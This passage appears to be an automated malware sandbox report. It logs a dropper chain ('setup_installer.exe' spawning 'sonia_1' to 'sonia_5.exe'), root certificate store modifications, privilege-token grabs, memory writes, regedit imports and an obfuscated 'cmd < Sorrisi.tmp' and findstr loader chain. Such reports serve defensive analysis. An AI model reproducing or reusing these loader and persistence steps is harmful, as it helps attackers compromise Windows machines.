a76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e sonia_3.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde mzNoaTLwpChodbqqobM8w6aY.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e mzNoaTLwpChodbqqobM8w6aY.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25 sonia_3.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a sonia_3.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436 mzNoaTLwpChodbqqobM8w6aY.exe -
Runs .reg file with regedit 2 IoCs
pid Process 2884 regedit.exe 768 regedit.exe -
Runs ping.exe 1 TTPs 2 IoCs
pid Process 2492 PING.EXE 1860 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 368 sonia_2.exe 368 sonia_2.exe 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 368 sonia_2.exe -
Suspicious use of AdjustPrivilegeToken 34 IoCs
description pid Process Token: SeCreateTokenPrivilege 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: SeAssignPrimaryTokenPrivilege 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: SeLockMemoryPrivilege 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: SeIncreaseQuotaPrivilege 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: SeMachineAccountPrivilege 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: SeTcbPrivilege 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: SeSecurityPrivilege 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: SeTakeOwnershipPrivilege 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: SeLoadDriverPrivilege 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: SeSystemProfilePrivilege 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: SeSystemtimePrivilege 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: SeProfSingleProcessPrivilege 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: SeIncBasePriorityPrivilege 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: SeCreatePagefilePrivilege 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: SeCreatePermanentPrivilege 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: SeBackupPrivilege 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: SeRestorePrivilege 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: SeShutdownPrivilege 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: SeDebugPrivilege 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: SeAuditPrivilege 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: SeSystemEnvironmentPrivilege 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: SeChangeNotifyPrivilege 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: SeRemoteShutdownPrivilege 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: SeUndockPrivilege 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: SeSyncAgentPrivilege 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: SeEnableDelegationPrivilege 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: SeManageVolumePrivilege 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: SeImpersonatePrivilege 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: SeCreateGlobalPrivilege 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: 31 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: 32 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: 33 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: 34 2012 mzNoaTLwpChodbqqobM8w6aY.exe Token: 35 2012 mzNoaTLwpChodbqqobM8w6aY.exe -
Suspicious use of FindShellTrayWindow 4 IoCs
pid Process 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found -
Suspicious use of SendNotifyMessage 4 IoCs
pid Process 1212 Process not Found 1212 Process not Found 1212 Process not Found 1212 Process not Found -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1608 wrote to memory of 836 1608 8 (19).exe 26 PID 1608 wrote to memory of 836 1608 8 (19).exe 26 PID 1608 wrote to memory of 836 1608 8 (19).exe 26 PID 1608 wrote to memory of 836 1608 8 (19).exe 26 PID 1608 wrote to memory of 836 1608 8 (19).exe 26 PID 1608 wrote to memory of 836 1608 8 (19).exe 26 PID 1608 wrote to memory of 836 1608 8 (19).exe 26 PID 836 wrote to memory of 1712 836 setup_installer.exe 28 PID 836 wrote to memory of 1712 836 setup_installer.exe 28 PID 836 wrote to memory of 1712 836 setup_installer.exe 28 PID 836 wrote to memory of 1712 836 setup_installer.exe 28 PID 836 wrote to memory of 1712 836 setup_installer.exe 28 PID 836 wrote to memory of 1712 836 setup_installer.exe 28 PID 836 wrote to memory of 1712 836 setup_installer.exe 28 PID 1712 wrote to memory of 1736 1712 setup_install.exe 31 PID 1712 wrote to memory of 1736 1712 setup_install.exe 31 PID 1712 wrote to memory of 1736 1712 setup_install.exe 31 PID 1712 wrote to memory of 1736 1712 setup_install.exe 31 PID 1712 wrote to memory of 1736 1712 setup_install.exe 31 PID 1712 wrote to memory of 1736 1712 setup_install.exe 31 PID 1712 wrote to memory of 1736 1712 setup_install.exe 31 PID 1712 wrote to memory of 1644 1712 setup_install.exe 32 PID 1712 wrote to memory of 1644 1712 setup_install.exe 32 PID 1712 wrote to memory of 1644 1712 setup_install.exe 32 PID 1712 wrote to memory of 1644 1712 setup_install.exe 32 PID 1712 wrote to memory of 1644 1712 setup_install.exe 32 PID 1712 wrote to memory of 1644 1712 setup_install.exe 32 PID 1712 wrote to memory of 1644 1712 setup_install.exe 32 PID 1712 wrote to memory of 928 1712 setup_install.exe 33 PID 1712 wrote to memory of 928 1712 setup_install.exe 33 PID 1712 wrote to memory of 928 1712 setup_install.exe 33 PID 1712 wrote to memory of 928 1712 setup_install.exe 33 PID 1712 wrote to memory of 928 1712 setup_install.exe 33 PID 1712 wrote to memory of 928 1712 setup_install.exe 33 PID 1712 wrote to memory of 928 1712 setup_install.exe 33 PID 1712 wrote to memory of 936 1712 setup_install.exe 34 PID 1712 wrote to memory of 936 1712 setup_install.exe 34 PID 1712 wrote to memory of 936 1712 setup_install.exe 34 PID 1712 wrote to memory of 936 1712 setup_install.exe 34 PID 1712 wrote to memory of 936 1712 setup_install.exe 34 PID 1712 wrote to memory of 936 1712 setup_install.exe 34 PID 1712 wrote to memory of 936 1712 setup_install.exe 34 PID 1712 wrote to memory of 824 1712 setup_install.exe 35 PID 1712 wrote to memory of 824 1712 setup_install.exe 35 PID 1712 wrote to memory of 824 1712 setup_install.exe 35 PID 1712 wrote to memory of 824 1712 setup_install.exe 35 PID 1712 wrote to memory of 824 1712 setup_install.exe 35 PID 1712 wrote to memory of 824 1712 setup_install.exe 35 PID 1712 wrote to memory of 824 1712 setup_install.exe 35 PID 1712 wrote to memory of 1188 1712 setup_install.exe 36 PID 1712 wrote to memory of 1188 1712 setup_install.exe 36 PID 1712 wrote to memory of 1188 1712 setup_install.exe 36 PID 1712 wrote to memory of 1188 1712 setup_install.exe 36 PID 1712 wrote to memory of 1188 1712 setup_install.exe 36 PID 1712 wrote to memory of 1188 1712 setup_install.exe 36 PID 1712 wrote to memory of 1188 1712 setup_install.exe 36 PID 1712 wrote to memory of 108 1712 setup_install.exe 37 PID 1712 wrote to memory of 108 1712 setup_install.exe 37 PID 1712 wrote to memory of 108 1712 setup_install.exe 37 PID 1712 wrote to memory of 108 1712 setup_install.exe 37 PID 1712 wrote to memory of 108 1712 setup_install.exe 37 PID 1712 wrote to memory of 108 1712 setup_install.exe 37 PID 1712 wrote to memory of 108 1712 setup_install.exe 37 PID 936 wrote to memory of 112 936 cmd.exe 38
Processes
-
C:\Users\Admin\AppData\Local\Temp\8 (19).exe"C:\Users\Admin\AppData\Local\Temp\8 (19).exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1608 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:836 -
C:\Users\Admin\AppData\Local\Temp\7zS443E47D4\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS443E47D4\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1712 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_1.exe4⤵
- Loads dropped DLL
PID:1736 -
C:\Users\Admin\AppData\Local\Temp\7zS443E47D4\sonia_1.exesonia_1.exe5⤵
- Executes dropped EXE
PID:1552
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_2.exe4⤵
- Loads dropped DLL
PID:1644 -
C:\Users\Admin\AppData\Local\Temp\7zS443E47D4\sonia_2.exesonia_2.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:368
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_3.exe4⤵
- Loads dropped DLL
PID:928 -
C:\Users\Admin\AppData\Local\Temp\7zS443E47D4\sonia_3.exesonia_3.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
PID:1016 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1016 -s 9886⤵
- Loads dropped DLL
- Program crash
PID:2520
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_4.exe4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:936 -
C:\Users\Admin\AppData\Local\Temp\7zS443E47D4\sonia_4.exesonia_4.exe5⤵
- Executes dropped EXE
PID:112
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_5.exe4⤵
- Loads dropped DLL
PID:824 -
C:\Users\Admin\AppData\Local\Temp\7zS443E47D4\sonia_5.exesonia_5.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
PID:1836 -
C:\Users\Admin\Documents\bsXAAXp0rVhAYopR1FzfBWAX.exe"C:\Users\Admin\Documents\bsXAAXp0rVhAYopR1FzfBWAX.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2016 -
C:\Users\Admin\Documents\bsXAAXp0rVhAYopR1FzfBWAX.exeC:\Users\Admin\Documents\bsXAAXp0rVhAYopR1FzfBWAX.exe7⤵PID:2872
-
-
-
C:\Users\Admin\Documents\eyWmyb3MtRATGQgTNvrZAL_c.exe"C:\Users\Admin\Documents\eyWmyb3MtRATGQgTNvrZAL_c.exe"6⤵
- Executes dropped EXE
PID:792 -
C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe"C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe"7⤵PID:1164
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Program Files (x86)\EverestSoftrade\TonerRecover\log.bat" "7⤵PID:2188
-
C:\Windows\SysWOW64\regedit.exeregedit /s adj.reg8⤵
- Runs .reg file with regedit
PID:2884
-
-
C:\Windows\SysWOW64\regedit.exeregedit /s adj2.reg8⤵
- Runs .reg file with regedit
PID:768
-
-
-
-
C:\Users\Admin\Documents\uren1NgW68TZtePurtGVEnbZ.exe"C:\Users\Admin\Documents\uren1NgW68TZtePurtGVEnbZ.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1524 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Sorrisi.tmp7⤵PID:2288
-
C:\Windows\SysWOW64\cmd.execmd8⤵
- Loads dropped DLL
PID:2376 -
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^yNFefWPitqXbQXexaaaweTJMeyyzoIKOZcrabptodYbHejNKUaJtRjoktSZpRcZcdpbxUJWpgpLtcwKPaxnPYFWNhRgFpV$" Sapete.tmp9⤵PID:2400
-
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comAcre.exe.com k9⤵PID:2480
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k10⤵
- Executes dropped EXE
PID:2592 -
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k11⤵
- Executes dropped EXE
PID:2668 -
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k12⤵PID:2504
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k13⤵PID:1808
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k14⤵PID:2580
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k15⤵PID:2124
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k16⤵PID:2780
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k17⤵PID:2200
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k18⤵PID:1300
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k19⤵PID:1280
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k20⤵PID:824
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k21⤵PID:3020
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k22⤵PID:1996
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k23⤵PID:2632
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k24⤵PID:2420
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k25⤵PID:2808
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k26⤵PID:948
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k27⤵PID:1548
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k28⤵PID:2788
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k29⤵PID:2464
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k30⤵PID:3000
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k31⤵PID:3016
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k32⤵PID:2824
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k33⤵PID:2388
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k34⤵PID:1192
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k35⤵PID:1720
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k36⤵PID:2696
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k37⤵PID:2212
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k38⤵PID:976
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k39⤵PID:3004
-
